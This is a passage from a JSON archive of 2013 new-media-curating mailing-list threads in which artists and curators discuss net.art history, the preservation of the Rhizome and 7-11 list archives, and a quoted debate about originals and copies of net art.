AROUND THE GLOBE\n>>> NO ONE STOP UNTIL WE ALL DROP\n>>>\n>>> [+ Make no mistake, \"net.art\" as a discussion topic has been oscillating\n>>> constantly since 97]:\n>>>\n>>> From: dd <[log in to unmask]>\n>>> To: \"[log in to unmask]\" <[log in to unmask]>,\n>>>       \"[log in to unmask]\" <[log in to unmask]>\n>>> Subject: RE: [7-11] the meaning of the inner circle\n>>> Date: Tue, 30 Dec 1997 00:51:19 +0200\n>>> X-Ms-Attachment: WINMAIL.DAT 0 00-00-1980 00:00\n>>> Sender: [log in to unmask]\n>>> Reply-To: [log in to unmask]\n>>>\n>>> Essential to art is the work of art.\n>>> Essential to work of art are the spectators and the artist.\n>>> Essential to both is what could be art produced by  works today.\n>>>\n>>> The form of every artwork could not full of meaning, but full of new\n>>> artistic and dynamic values.\n>>>\n>>> We can still talk/meet where it is possible to make an effort for another\n>>> work.\n>>> where, spectators and artists are the essential faces who charges a living\n>>> form. The more dispersed of the circle of both, generates the more concrete\n>>> of the form,  in its classical fond.\n>>>\n>>> Net by itself is not enough, it needs the art form, generated by what could\n>>> be the work.\n>>> The materials for the work could be everything. The  form's life between\n>>> people, generates the materials,  not the opposite.\n>>>\n>>>\n>>> the inner circle is an interesting phenomenon\n>>> I have been contemplating on its meaning\n>>> just today I found in some old nettime posting\n>>> a possible insight into what meaning is in general\n>>> which seems very useful for the question:\n>>> what is the meaning of an inner circle?\n>>>\n>>> \"The line of the argument, as it\n>>> was developed by Ernesto Laclau, goes as follows: He starts from the\n>>> Saussurian assumption that meaning arises only within a system of\n>>> differences. The possibility of a system of differences, however, depends\n>>> on the possibility of its limits - and these limits cannot belong to the\n>>> side of the system, since in that case the limit was just another\n>>> difference and, hence, no limit. It is only as far as we perceive the\n>>> outside of the system as a radical outside (and the limit therefore as an\n>>> exclusionary limit) that we can speak of systematicity or meaning at all.\n>>> As a consequence the limits cannot be signified themselves, they can only\n>>> 'show themselves as the interruption or breakdown of the process of\n>>> signification' (Laclau 1996:37). The radicality of the radical outside\n>>> (non-meaning) is not only the condition of possibility for the\n>>> establishment of a structure (meaning) it is at the same time the condition\n>>> of impossibility of the establishment of a structure as closed totality\n>>> (full meaning). The effect of the exclusionary limit, in other words, 'is\n>>> that it introduces an essential ambivalence within the system of\n>>> differences constituted by those limits' (Laclau 1996:38).\"\n>>>\n>>> What is essential to net.art?\n>>> Where can we still talk/meet and where not?\n>>> Who decides on what thinking who to prank?\n>>> Are pranked inner circle?\n>>>\n>>>\n>>> happy days\n>>>\n>>>\n>>> J\n>>> *\n>>>\n>>>\n>>>\n>>>\n>>>\n>>>\n>>> --\n>>> | facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n>>> | twitter.com/MezBreezeDesign\n>>> | en.wikipedia.org/wiki/Mez_Breeze\n>>\n>\n>\n> Simon Biggs\n> [log in to unmask]\n> http://www.littlepig.org.uk @SimonBiggsUK http://amazon.com/author/simonbiggs\n>\n> [log in to unmask] Edinburgh College of Art, University of Edinburgh\n> http://www.ed.ac.uk/schools-departments/edinburgh-college-art/school-of-art/staff/staff?person_id=182&cw_xml=profile.php\n> http://www.research.ed.ac.uk/portal/en/persons/simon-biggs%285dfcaf34-56b1-4452-9100-aaab96935e31%29.html\n>\n> http://www.eca.ac.uk/circle/  http://www.elmcip.net/  http://www.movingtargets.org.uk/  http://designinaction.com/\n> MSc by Research in Interdisciplinary Creative Practices  http://www.ed.ac.uk/studying/postgraduate/degrees?id=656&cw_xml=details.php\n\n\n\n-- \nMichael Connor\n+1 646 620 7758",
                        "id": 0,
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=22332",
                        "date": "Fri, 4 Oct 2013 08:56:40 -0400",
                        "list": "crumb",
                        "author_name": "Michael Connor",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Rob Myers",
                        "content": "\nOn 04/10/13 05:56 AM, Michael Connor wrote:\n> \n> As part of our conservation program, Rhizome has also preserved a few\n> notable art BBSes, blogs and surf clubs.\n\nThe inclusion of \"surf clubs\" in that list is another illustration of\nthe contingent and contested nature of much online art history. Their\nbaking in to it through institutional capture is a product of Rhizome's HR.\n\nI can't disagree with Curt, or myself, here, however much I loved the\nother work of some involved:\n\nhttp://rhizome.org/discuss/37549/\n\n[\"pampas grass\" refers to a then-current urgent legend about swingers'\nparties.]",
                        "id": 0,
                        "date": "Fri, 4 Oct 2013 15:46:49 -0700",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=31690",
                        "content-type": "text/plain",
                        "author_name": "Rob Myers",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Josephine Bosma",
                        "content": "\n> \n> The inclusion of \"surf clubs\" in that list is another illustration of\n> the contingent and contested nature of much online art history. Their\n> baking in to it through institutional capture is a product of Rhizome's HR.\n\nI have looked at your link, and find a discussion in one artist community about whether what happens in another online artist community is interesting or not. To understand how artists have used the Internet, especially for discussion, communication, sharing, and collaboration one should not be picky when collecting data imo. \n\nI think it is especially interesting to include more recent examples in this thread, because they give us an idea of how online artist networks have developed. Besides that, one cannot really understand certain offline art practices (round and about Post-Internet Art) without looking at surf clubs.\n\n\nbest,\n\n\n\nJ\n*",
                        "id": 0,
                        "date": "Sat, 5 Oct 2013 11:26:05 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=38418",
                        "content-type": "text/plain",
                        "author_name": "Josephine Bosma",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Jan Robert Leegte",
                        "content": "\nHi Michael and all,\n\nI also was always wondering why the list archives had been pulled. Why is it that the digest is archived, but the RAW isn't? The RAW list contains essential experiments and discussions and is such a miss!\n\nbest,\n\nJan Robert\n\nOn 4 okt. 2013, at 14:56, Michael Connor <[log in to unmask]> wrote:\n\n> Hi Simon and everyone,\n> \n> The Rhizome website currently has Rhizome mailing list posts back to\n> 1996 in digest format (under discuss, go to the last page of threads).\n> The addresses are unfortunately stripped, thanks to a poorly\n> thought-out data migration a number of years ago. It's on our\n> conservation to-do list to restore this properly, and of course it\n> would be fantastic to see a crowd-sourced version of this, too.\n> \n> As part of our conservation program, Rhizome has also preserved a few\n> notable art BBSes, blogs and surf clubs. Several of these will be made\n> public as part of our forthcoming Artbase relaunch. From a technical\n> standpoint, the preservation process of the blogs and surf clubs was\n> fairly straightforward (although the discussions with participants\n> were not necessarily so). The real technical problems arose with The\n> Thing - this article provides a bit of context.\n> http://www.theverge.com/2013/3/15/4104494/the-thing-reloaded-bringing-bbs-networks-back-from-the-dead\n> \n> Also, Charlotte, did you see the Art in America article in Sept about\n> Rhizome? Apologies if you've already covered that.\n> \n> On Fri, Oct 4, 2013 at 7:58 AM, Simon Biggs <[log in to unmask]> wrote:\n>> I have Rhizome posts going back to April 6, 1996 and Raw to October 3, 1999. Other lists I have posts for from the 1990's include A-Life, artnetweb, ASCII, Avatars, Consciousness Reframed, CU-SeeMe, DigiDance, DXR, Fine Art Forum, Infowar, ISEA-Forum, NetArtTrade, Nettime, Shock of the View, Thingist, Voti (which has a new book out documenting that discussion) and WebWalker. These are far from complete records, some are quite patchy - most are from extinct mail clients but I have simple text files of the posts. I'm happy to put them into a repository of some kind (doubt I want to go back through them though).\n>> \n>> best\n>> \n>> Simon\n>> \n>> \n>> On 4 Oct 2013, at 12:33, Josephine Bosma <[log in to unmask]> wrote:\n>> \n>>> Wow. That is amazing. I hope my English and my work have improved a bit over time.\n>>> \n>>> This gives me an idea though. My own archive of 7-11 has vanished, as do my other mail archives of that time. Mez reminds me however that there are people who still have theirs.\n>>> \n>>> Would it be something to initiate a project, on online archive of mailing list archives? I for one really miss the early years of the Rhizome archives, from before it was called 'raw' (1997-2001). In fact, all of the Rhizome mailing list archives seem to have disappeared from their website. People who have (parts of) these could maybe be persuaded to share them.\n>>> \n>>> It would be great if this would also include earlier art 'lists' or mailboxes, including those on the early net and in BBS times. In Tilman Baumg\u00e4rtel's first book on net.art is an interview with Rena Tangens and Padeluun, for example. They ran a 'mailbox' named 'Bionic'. It would also be great to have the Artex 'list' content in there, run by Robert Adrian.\n>>> \n>>> http://www.medienkunstnetz.de/works/artex/\n>>> \n>>> \n>>> \n>>> Best wishes,\n>>> \n>>> \n>>> J\n>>> *\n>>> \n>>> \n>>> \n>>> \n>>> On 4 okt. 2013, at 12:49, mez breeze wrote:\n>>> \n>>>> On Thu, Oct 3, 2013 at 5:01 PM, Charlotte Frost <[log in to unmask]\n>>>>> wrote:\n>>>> \n>>>>> Is this post one of the most iconic pieces of net art history?\n>>>>> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>>>>> \n>>>> \n>>>> How about:\n>>>> \n>>>> From: \"Vuk Cosic\" <[log in to unmask]>\n>>>> Organization: KUD France Preseren\n>>>> To: [log in to unmask]\n>>>> Date: Tue, 14 Oct 1997 12:12:23 CET\n>>>> Subject: Re: [7-11] backbone\n>>>> Sender: [log in to unmask]\n>>>> Reply-To: [log in to unmask]\n>>>> \n>>>> ho\n>>>>> whats a net.art backbone?\n>>>> good one,\n>>>> i suppose it's a providers idea of 7-11\n>>>> sorta\n>>>> \n>>>> v\n>>>> \n>>>> ######################################################\n>>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n>>>> #                                                    #\n>>>> #         _____     _ _               _____     _ _  #\n>>>> # __/\\__ |___  |   / / |      __/\\__ |___  |   / / | #\n>>>> # \\    /    / /____| | |      \\    /    / /____| | | #\n>>>> # /_  _\\   / /_____| | |      /_  _\\   / /_____| | | #\n>>>> #   \\/    /_/      |_|_|        \\/    /_/      |_|_| #\n>>>> #                                                    #\n>>>> #                                                    #\n>>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n>>>> ########### http://www.ljudmila.org/7-11/ ############\n>>>> \n>>>> \n>>>> and:\n>>>> \n>>>> X-Sender: [log in to unmask]\n>>>> Date: Tue, 18 Nov 1997 07:14:01 -0700\n>>>> To: [log in to unmask]\n>>>> From: nov 97 <[log in to unmask]>\n>>>> Subject: [7-11] net art homework\n>>>> Sender: [log in to unmask]\n>>>> Reply-To: [log in to unmask]\n>>>> \n>>>> http://jupiter.ucsd.edu/~bookchin/finalProject.html\n>>>> \n>>>> \n>>>> \n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n>>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n>>>> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>>>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n>>>> SATISFACTION SURVEY. > > > > >\n>>>> ###################################################### >\n>>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n>>>> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n>>>> / /____|##################################################################\n>>>>> ## ############      ########## # ### ### ##      ###### >\n>>>> ####  ######  #### #### ######  ##############  ###### >\n>>>> # ####  ##### #### ########## ######  ###   ####### >\n>>>>> \n>>>>> -\n>>>> \n>>>> [that link waybackmachined:\n>>>> http://web.archive.org/web/20070206180348/http://jupiter.ucsd.edu/~bookchin/finalProject.html\n>>>> ]\n>>>> \n>>>> Also:\n>>>> \n>>>> \n>>>> \n>>>> Date: Thu, 27 Nov 1997 20:42:36 +0100\n>>>> To: [log in to unmask]\n>>>> From: [log in to unmask]\n>>>> Subject: [7-11] Majordomo results: A word from the hostess.\n>>>> Sender: [log in to unmask]\n>>>> Reply-To: [log in to unmask]\n>>>> \n>>>> --\n>>>> \n>>>>>>>> who 7-11 [log in to unmask]\n>>>> Members of list '7-11':\n>>>> \n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> [log in to unmask]\n>>>> \n>>>> 24 subscribers\n>>>> \n>>>> \n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n>>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n>>>> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>>>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n>>>> SATISFACTION SURVEY. > > > > >\n>>>> ###################################################### >\n>>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n>>>> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n>>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n>>>> / /____|##################################################################\n>>>>> ## ############      ########## # ### ### ##      ###### >\n>>>> ####  ######  #### #### ######  ##############  ###### >\n>>>> # ####  ##### #### ########## ######  ###   ####### >\n>>>>> \n>>>>> -\n>>>> \n>>>> \n>>>> and:\n>>>> \n>>>> Date: Sun, 30 Nov 1997 10:59:39 -0800 (PST)\n>>>> To: [log in to unmask]\n>>>> From: [log in to unmask] (Natalie Bookchin)\n>>>> Subject: Re: [7-11] A word from the hostess.\n>>>> Sender: [log in to unmask]\n>>>> Reply-To: [log in to unmask]\n>>>> \n>>>> Interview\n>>>> Natalie: Do you want to know why there is no net art in california?\n>>>> \n>>>> Natalie: Um.. there isn't? Yes do tell me why?\n>>>> \n>>>> Natalie: I think its because we dont have time to waste on things that we\n>>>> cant hang in our beach condos.\n>>>> \n>>>> Natalie And of course we're also buzy walking on the beach, looking at the\n>>>> ocean, napping under the palm trees, eating the best of pacific rim cooking\n>>>> \n>>>> Natalie: also we dont have the net yet hooked up in our cars yet\n>>>> \n>>>> Natalie: thats not true\n>>>> \n>>>> Natalie: yes it is.\n>>>> \n>>>> \n>>>> _________                          _________\n>>>> |  _____  |                        |  _____  |\n>>>> | [_____] |                        | [_____] |\n>>>> |         |                        |         |\n>>>> |         |========================|         |\n>>>> |         |              [][][][][]|         |\n>>>> |   __    |_____________ [][][][][]|    __   |\n>>>> |  (__)   | FM 7-11 ****|  ========|   (__)  |\n>>>> |  _____  |_____________|  **VOL{} |  _____  |\n>>>> | /     \\ |                        | /     \\ |\n>>>> ||  ( )  ||________________________||  ( )  ||\n>>>> | \\_____/ | CD | TAPE | TAPE | AUX | \\_____/ |\n>>>> |_________|____|___1__|___2__|_____|_________|\n>>>> \n>>>> LET'S CRANK THE SOUND WAY UP\n>>>> LET'S DANCE AROUND THE GLOBE\n>>>> NO ONE STOP UNTIL WE ALL DROP\n>>>> \n>>>> [+ Make no mistake, \"net.art\" as a discussion topic has been oscillating\n>>>> constantly since 97]:\n>>>> \n>>>> From: dd <[log in to unmask]>\n>>>> To: \"[log in to unmask]\" <[log in to unmask]>,\n>>>>      \"[log in to unmask]\" <[log in to unmask]>\n>>>> Subject: RE: [7-11] the meaning of the inner circle\n>>>> Date: Tue, 30 Dec 1997 00:51:19 +0200\n>>>> X-Ms-Attachment: WINMAIL.DAT 0 00-00-1980 00:00\n>>>> Sender: [log in to unmask]\n>>>> Reply-To: [log in to unmask]\n>>>> \n>>>> Essential to art is the work of art.\n>>>> Essential to work of art are the spectators and the artist.\n>>>> Essential to both is what could be art produced by  works today.\n>>>> \n>>>> The form of every artwork could not full of meaning, but full of new\n>>>> artistic and dynamic values.\n>>>> \n>>>> We can still talk/meet where it is possible to make an effort for another\n>>>> work.\n>>>> where, spectators and artists are the essential faces who charges a living\n>>>> form. The more dispersed of the circle of both, generates the more concrete\n>>>> of the form,  in its classical fond.\n>>>> \n>>>> Net by itself is not enough, it needs the art form, generated by what could\n>>>> be the work.\n>>>> The materials for the work could be everything. The  form's life between\n>>>> people, generates the materials,  not the opposite.\n>>>> \n>>>> \n>>>> the inner circle is an interesting phenomenon\n>>>> I have been contemplating on its meaning\n>>>> just today I found in some old nettime posting\n>>>> a possible insight into what meaning is in general\n>>>> which seems very useful for the question:\n>>>> what is the meaning of an inner circle?\n>>>> \n>>>> \"The line of the argument, as it\n>>>> was developed by Ernesto Laclau, goes as follows: He starts from the\n>>>> Saussurian assumption that meaning arises only within a system of\n>>>> differences. The possibility of a system of differences, however, depends\n>>>> on the possibility of its limits - and these limits cannot belong to the\n>>>> side of the system, since in that case the limit was just another\n>>>> difference and, hence, no limit. It is only as far as we perceive the\n>>>> outside of the system as a radical outside (and the limit therefore as an\n>>>> exclusionary limit) that we can speak of systematicity or meaning at all.\n>>>> As a consequence the limits cannot be signified themselves, they can only\n>>>> 'show themselves as the interruption or breakdown of the process of\n>>>> signification' (Laclau 1996:37). The radicality of the radical outside\n>>>> (non-meaning) is not only the condition of possibility for the\n>>>> establishment of a structure (meaning) it is at the same time the condition\n>>>> of impossibility of the establishment of a structure as closed totality\n>>>> (full meaning). The effect of the exclusionary limit, in other words, 'is\n>>>> that it introduces an essential ambivalence within the system of\n>>>> differences constituted by those limits' (Laclau 1996:38).\"\n>>>> \n>>>> What is essential to net.art?\n>>>> Where can we still talk/meet and where not?\n>>>> Who decides on what thinking who to prank?\n>>>> Are pranked inner circle?\n>>>> \n>>>> \n>>>> happy days\n>>>> \n>>>> \n>>>> J\n>>>> *\n>>>> \n>>>> \n>>>> \n>>>> \n>>>> \n>>>> \n>>>> --\n>>>> | facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n>>>> | twitter.com/MezBreezeDesign\n>>>> | en.wikipedia.org/wiki/Mez_Breeze\n>>> \n>> \n>> \n>> Simon Biggs\n>> [log in to unmask]\n>> http://www.littlepig.org.uk @SimonBiggsUK http://amazon.com/author/simonbiggs\n>> \n>> [log in to unmask] Edinburgh College of Art, University of Edinburgh\n>> http://www.ed.ac.uk/schools-departments/edinburgh-college-art/school-of-art/staff/staff?person_id=182&cw_xml=profile.php\n>> http://www.research.ed.ac.uk/portal/en/persons/simon-biggs%285dfcaf34-56b1-4452-9100-aaab96935e31%29.html\n>> \n>> http://www.eca.ac.uk/circle/  http://www.elmcip.net/  http://www.movingtargets.org.uk/  http://designinaction.com/\n>> MSc by Research in Interdisciplinary Creative Practices  http://www.ed.ac.uk/studying/postgraduate/degrees?id=656&cw_xml=details.php\n> \n> \n> \n> -- \n> Michael Connor\n> +1 646 620 7758",
                        "id": 0,
                        "date": "Sat, 5 Oct 2013 18:16:15 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=41009",
                        "content-type": "text/plain",
                        "author_name": "Jan Robert Leegte",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Trond Lossius",
                        "content": "\nHi,\n\nOn Oct 4, 2013, at 2:56 PM, Michael Connor <[log in to unmask]> wrote:\n\n> Hi Simon and everyone,\n> \n> The Rhizome website currently has Rhizome mailing list posts back to\n> 1996 in digest format (under discuss, go to the last page of threads).\n\nIn a somewhat similar vein, the 55 mailing list, used for exchanges relating to the real-time video software Nato.0+55 for Max/MSP is still online, including it's archive. Looking at it this morning, I see that a few mails seems to have gotten erroneously dated during a migration, as the list was first set up in the summer 2000 for a worksop at BEK, and then repurposed January 2001 when NN was kicked of the mailing list runner by Cycling'74. The archive is available here:\n\nhttps://mail.bek.no/mailman/listinfo/55\n\nCheers,\nTrond",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 08:57:16 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=45427",
                        "content-type": "text/plain",
                        "author_name": "Trond Lossius",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Charlotte Frost",
                        "content": "\n>\n>So the ruse seems healthy afoot! Or so I'd argue. The ease of this\n>misinterpretation is perhaps a strength of the medium. I think in being\n>able to be fluid and hard to define creates an intrigue both from a\n>material and cultural perspective that other mediums rarely approach (or\n>only approach through gimmicky redefinition: \"Painting as memorial,\n>photography as documentary, etc.\")\n\n>>>Although I agree with Josephine Bosma (on a lot of things actually, but\n>>>here specifically...) on the problem of trying to write a history of\n>>>net.art when the name itself obscures some of the facts, like you, I\n>>>have also always enjoyed the (as Joh Thomson put it of online art\n>>>discussion in general) 'wide recursive loop about what the nature of\n>>>net art was and what its relationship to the art establishment was\u2026'\n>>>That is, I think the obfuscation of facts and the distinctly\n>>>net.art-ish way to appear to name net.art sets up the broader debate\n>>>within which net.art (if I can put it like this) placed itself. Just\n>>>last week I was teaching my students about Duchamp. They are first\n>>>years and the course I am teaching is an elective introduction to\n>>>contemporary art. I can talk about Duchamp until the cows come home,\n>>>but I find the best way to get students to understand the significance\n>>>of his actions is to try to *show* the discussion/debate Fountain (or\n>>>any other 'readymade') generates. Sometimes I try to theatrically\n>>>(cringe) stage the discussion with the help of props but this time I\n>>>did a bit of that (welcoming the class dustbin to centre stage) and\n>>>showing a video from the SmartHistory resource that presents the type\n>>>of conversation a Duchampian artwork might provoke. What I have always\n>>>felt the term 'net.art' did - as it was posted to Nettime in its own\n>>>art historical narrative by Alexei - was sample a little bit of this\n>>>Duchampian technique. It's a little bit of the art history book\n>>>equivalent of a urinal in an art gallery - at least that's how I've\n>>>always read it. On the other hand, it's such an 'inside joke' it\n>>>requires a lot of explaining to the uninitiated and I'm sure Vuk,\n>>>Alexei et al didn't mean to make art history less insular not more...\n\n>\n>In some ways the aftermath of net.art is more interesting to me as a\n>micro-art history then it's own moment. '\n\n>>>Oh yes, me too! \n\n>Afterwards artists themselves\n>struggled/strived for new terms and new definitions to distinguish their\n>work as unique or separate from something that might've been considered a\n>jibe. Terms like \"New Media\" \"Digital Art\" \"Transmedia\" \"post-internet\"\n>\"net-based\" \"interactive design\" starting cropping up all over the place -\n>almost as if these classification were apologetically compensating for the\n>ambiguity and openness of net.art. These efforts could be seen as measure\n>taken by artists to be more easily identifiable within a contemporary\n>canon, but also could be seen as efforts to carve out space/distance from\n>a\n>previous generation/moment.\n>\n>I want to say more, I guess, but maybe I'll wait for other topics this\n>month,\n>Looking fwd + very best\n\n>>>Looking forward to hearing more. Thank you!\n>\n>\n>On Thu, Oct 3, 2013 at 3:01 AM, Charlotte Frost\n><[log in to unmask]\n>> wrote:\n>\n>> Is this post one of the most iconic pieces of net art history?\n>> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>>\n>> Certainly Rhizome's Rachel Greene believed the story and made it 'art\n>> history' in an article written for Artforum in 2000 she put: 'The term\n>> \u0152net.art\u00b9 is less a coinage than an accident, the result of a software\n>> glitch that occurred in December 1995, when Slovenian artist Vuk Cosic\n>> opened an anonymous e-mail only to find it had been mangled in\n>> transmission.\n>> Amid a morass of alphanumeric gibberish, Cosic could make out just one\n>> legible term \u00ad \u0152net.art\u00b9 \u00ad which he began using to talk about online art\n>> and\n>> communications'. Greene, R. (2000) \u0152Web Work: a history of internet\n>>art\u00b9,\n>> Artforum, v.38 (no.9): 162\n>>\n>> But as other writers like Josephine Bosma have argued, the term\n>>'net.art'\n>> wasn't born this way at all\u0160 see her book Nettitudes:\n>>\n>> \n>>http://www.amazon.com/Nettitudes-Lets-Studies-Network-Cultures/dp/9056628\n>>003\n>>\n>> So was it a stunt? A work of net.art itself? And if it is a fusion of\n>> artwork and a tongue-in-cheek jibe at the discipline of art history\n>> (creating a kind of 'ism' to bait the art historians) what do we\n>>describe\n>> it\n>> as? A kind of new media new art history?  Perhaps Rachel Greene didn't\n>> believe the story, but was also invested in crafting this red herring\n>>of a\n>> narrative? And whatever it was, how do we work with a post like this\n>>when\n>> studying the history of Internet art forms? How easy is it to\n>>misinterpret\n>> an list-based archive (or any social media-based archive)? To what\n>>extent\n>> do\n>> we have the license to interpret a list post or should we hunt down it's\n>> author and verify we've understood?\n>>\n>\n>\n>\n>-- \n>Nicholas O'Brien\n>\n>Visiting Faculty | Gallery Director\n>Department of Digital Art, Pratt Institute\n>doubleunderscore.net",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 19:25:01 +0800",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=54187",
                        "content-type": "text/plain",
                        "author_name": "Charlotte Frost",
                        "subject": "Re: Net.art.history?"
                    }
                ],
                "date": "Thu, 3 Oct 2013 15:01:52 +0800",
                "list": "crumb",
                "author_name": "Charlotte Frost",
                "subject": "Net.art.history?"
            },
            {
                "id": "00033",
                "content": "\n>> > > OL: Are you really familiar with net art or net in general? if yes you\n>> > > should know that copying is not a big deal. You can make hundreds of\n>> > > Art.Teleportacia galleries, but next day they will be only hundreds of\n>> > > outdated pages with not actual information and broken links, because I\n>> > > will update only http://art.teleportacia.org .. The same with all on\nline\n>> > > art and not art works. What is done on the net is not a book or cd\nor tape\n>> > > kind of product. It is not complete, not frosen, but can be changed\nevery\n>> > > moment. And this moment is a difference between copies and originals.\n>>\n>> in another interview that you gave, you were affirming that what makes the\n>> difference between the original and the copy on the net is given by the\n>> domain:  an original net artwork would be recognizable, according to you,\n>> from the name of the server on which the project was uploaded for the\n>> first time.\n>\n>not nessessary the first time, it is more complicated, but in general you\n>understood me right\n>\n>also look at http://art.teleportacia.org/Location_Yes\n>\n>>\n>>\n>> Next time we will hear you saying that the originality of the net is based\n>> on interactivity so that all the origninal artworks are the ones based on\n>> streaming and real time interaction...\n>\n>hmm, this i never said, sorry\n>\n>>\n>>\n>> i don't understand why you are so obsessed in defending this concept,\n>\n>i dont think that i defend a concept, i deal with nowadays reality and\nprimitive\n>perception of copyright subject on the net\n>\n>> that\n>> after all, exist only since the advent of borghesy, but it was unknown to\n>> the Romans for istance, for which a copy was identical to the original...\n>>\n>> originality is the concept on the base of which has been possible over the\n>> last 200 years steal and extrapolate artworks from their native context to\n>> transfer them in the western museum and galleries: the genius of the\n>> creator is always there, trapped in the artwork... you buy the artwork,\n>> you get a piece of geniality, right?\n>\n>right\n>\n>>\n>>\n>> after all, why the universities continue to teach hystory of art -- that\n>> has been almost entirely revolutionary over the last century?\n>>\n>> beacuse they need critics that are able to draw a line between original\n>> and fake, real art and unsellable trash...  they need critics that\n>> establish, directly or inderectly, a prize for a form of commodity that\n>> has always been difficult to categorize and, therefore, to quantify...\n>>\n>\n>sounds convincing, but i never studied at art academy, i dont know their\n>motivations\n\nit's not a subjective motivation, art academy, universities, galleries are\nsuch a deep part of this system... \n\nsince art has always been a peculiar kind of commodity, impossible to\ncategorize, like other products, in terms of social time necessary to\nproduce it -- capitalistic system had to create a character, a technician\nable to \nestablish this value...\n\nthis technician, the critic, absolves to multiple functions: it\ncommercializes the artwork, reassure the buyer -- guaranting the\noriginality of the artwork -- explain to the pubblic, legitimate the artist\ndiscovering h/er...\n\nthat's what you are basically doing with art.teleportacia which is, from my\npoint of view, a conservative project because it doesn't change of a comma\nin this discourse... \n\ni don't think that you establish the price of what you sell on the base of\ntime necessary to produce the artwork... it seems  that this price is much\nmore based on notoriety of artists, on social time necessary to produce an\nartist... 